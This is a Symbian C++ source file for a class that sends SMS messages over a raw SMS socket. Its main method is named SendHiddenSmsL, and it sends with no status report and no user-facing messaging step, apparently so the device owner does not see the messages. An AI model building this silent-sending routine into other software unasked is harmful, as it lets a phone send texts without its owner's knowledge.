#include "SendSmsSocket.h"
#include <smsuaddr.h>	// KSmsAddrFamily
#include <gsmubuf.h>	// CSmsBuffer
#include <smsustrm.h>	// RSmsSocketReadStream
#include <smutset.h>
#include <smsclnt.h>


//Constructor
CSmsSenderSocket::CSmsSenderSocket(RSocketServ& aSocketServer, MSmsSendHandler* aHandler) :
	CActive(EPriorityStandard)
	{
	iHandler = aHandler;
	iSocketServer = &aSocketServer;
	}

CSmsSenderSocket* CSmsSenderSocket::NewL(RSocketServ& aSocketServer, MSmsSendHandler* aHandler)
	{
	CSmsSenderSocket* self = new (ELeave) CSmsSenderSocket(aSocketServer, aHandler);
	CleanupStack::PushL(self);
	self->ConstructL();
	CleanupStack::Pop(self);
	return self;
	}

void CSmsSenderSocket::ConstructL()
	{
	CActiveScheduler::Add(this);
	__FLOG_OPEN("HT", "SendSms.txt");
	__FLOG(_L("**********"));

	User::LeaveIfError(iSendSocket.Open(*iSocketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol));

	TSmsAddr smsAddr;
	smsAddr.SetSmsAddrFamily(ESmsAddrSendOnly);
	iSendSocket.Bind(smsAddr);
	}

CSmsSenderSocket::~CSmsSenderSocket()
	{
	__FLOG(_L("Destructor"));
	Cancel();
	iSendSocket.Close();
	__FLOG(_L("EndDestructor"));
	__FLOG_CLOSE;
	}

void CSmsSenderSocket::DoCancel()
	{
	__FLOG(_L("Cancel"));
	iSendSocket.CancelIoctl();
	}


void CSmsSenderSocket::CleanNumber(TDes& aNumber)
	{
	TInt i = 0;
	while (i < aNumber.Length())
		{
		if ((aNumber[i] >= '0' && aNumber[i] <= '9') || aNumber[i] == '+')
			i++;
		else
			aNumber.Delete(i, 1);
		}
	}

void CSmsSenderSocket::SendHiddenSmsL(const TDesC& aNumber, const TDesC& aMessage)
	{
	__FLOG(_L("SendHiddenSmsL:"));
	__FLOG(aNumber);
	__FLOG(aMessage);

	RFs fs;
	User::LeaveIfError(fs.Connect());
	CleanupClosePushL(fs);
	CSmsMessage* msg = CSmsMessage::NewL(fs, CSmsPDU::ESmsSubmit, CSmsBuffer::NewL());
	CleanupStack::PushL(msg);

	__FLOG(_L("SetToFromAddr"));
	msg->Buffer().InsertL(0, aMessage);

	TBuf<30> cleanedNum = aNumber;
	CleanNumber(cleanedNum);
	__FLOG(_L("OrigNumber:"));
	__FLOG(aNumber);
	__FLOG(_L("CleanNumber:"));
	__FLOG(cleanedNum);
	msg->SetToFromAddressL(cleanedNum);

	// Set the Message Properties
	CSmsSubmit& submit = (CSmsSubmit &) msg->SmsPDU();

	submit.SetRejectDuplicates(ETrue);
	submit.SetReplyPath(EFalse);
	submit.SetStatusReportRequest(EFalse);
	submit.SetValidityPeriod(ESmsVPMaximum);

	// Absolute VP... ESmsVPFSemiOctet
	// Relative VP... ESmsVPFInteger
	submit.SetValidityPeriodFormat(TSmsFirstOctet::ESmsVPFInteger);
	submit.SetAlphabet(TSmsDataCodingScheme::ESmsAlphabet7Bit);

	if (submit.ProtocolIdentifierPresent())
		{
		__FLOG( _L("PID Present") );
		submit.SetPIDType(TSmsProtocolIdentifier::ESmsPIDTelematicInterworking); // bit 7-6
		submit.SetTelematicDeviceIndicator(TSmsProtocolIdentifier::ESmsNoTelematicDevice); // bit 5
		}

	RBuf sca( GetScaL() );
	sca.CleanupClosePushL();

	msg->SetServiceCenterAddressL(sca);
	
#ifndef __WINS__
	RSmsSocketWriteStream writeStream(iSendSocket);
	writeStream << *(msg);
	writeStream.CommitL();
	writeStream.Close();
#endif

	__FLOG(_L("Send - IOCTL"));
	CleanupStack::PopAndDestroy(&sca);
	__FLOG(_L("Msg"));
	CleanupStack::PopAndDestroy(msg);
	__FLOG(_L("Fs"));
	CleanupStack::PopAndDestroy(&fs);

	__FLOG(_L("SendSms"));
	// Send the sms...
	iOctlWrite() = KSockSelectWrite;
	iSendSocket.Ioctl(KIoctlSendSmsMessage, iStatus, &iOctlWrite, KSolSmsProv);
	SetActive();/**/

	__FLOG(_L("Ends"));
	}

void CSmsSenderSocket::RunL()
	{
	__FLOG(_L("RunL"));
	if (iHandler)
		iHandler->SmsSentL(iStatus.Int());
	__FLOG(_L("End RunL"));
	}

TInt CSmsSenderSocket::RunError(TInt aError)
	{
	__FLOG_1(_L("ERROR:%d"), aError);
	return aError;
	}

void CSmsSenderSocket::HandleSessionEventL(TMsvSessionEvent aEvent, TAny *aArg1, TAny *aArg2, TAny *aArg3)
	{
	}

HBufC* CSmsSenderSocket::GetScaL()
	{
	__FLOG(_L("GetScaL()"));
	CMsvSession* msvSession = CMsvSession::OpenSyncL(*this);
	CleanupStack::PushL(msvSession);

	CClientMtmRegistry* mtmReg = CClientMtmRegistry::NewL(*msvSession);
	CleanupStack::PushL(mtmReg);

	CSmsClientMtm* smsMtm = static_cast<CSmsClientMtm*> (mtmReg->NewMtmL(KUidMsgTypeSMS));
	CleanupStack::PushL(smsMtm);
	CSmsSettings& serviceSettings = smsMtm->ServiceSettings();

	HBufC* res = NULL;
	if (serviceSettings.ServiceCenterCount() > 0)
		{
		CSmsServiceCenter& num = serviceSettings.GetServiceCenter(serviceSettings.DefaultServiceCenter());
		res = num.Address().AllocL();
		__FLOG(_L("SCA Number:"));
		__FLOG(num.Address());
		}
	else
		{
		__FLOG(_L("SCA NOT Avail!"));
		res = HBufC::NewL(0);
		}
	CleanupStack::PopAndDestroy(smsMtm);
	CleanupStack::PopAndDestroy(mtmReg);
	CleanupStack::PopAndDestroy(msvSession);
	return res;
	}


.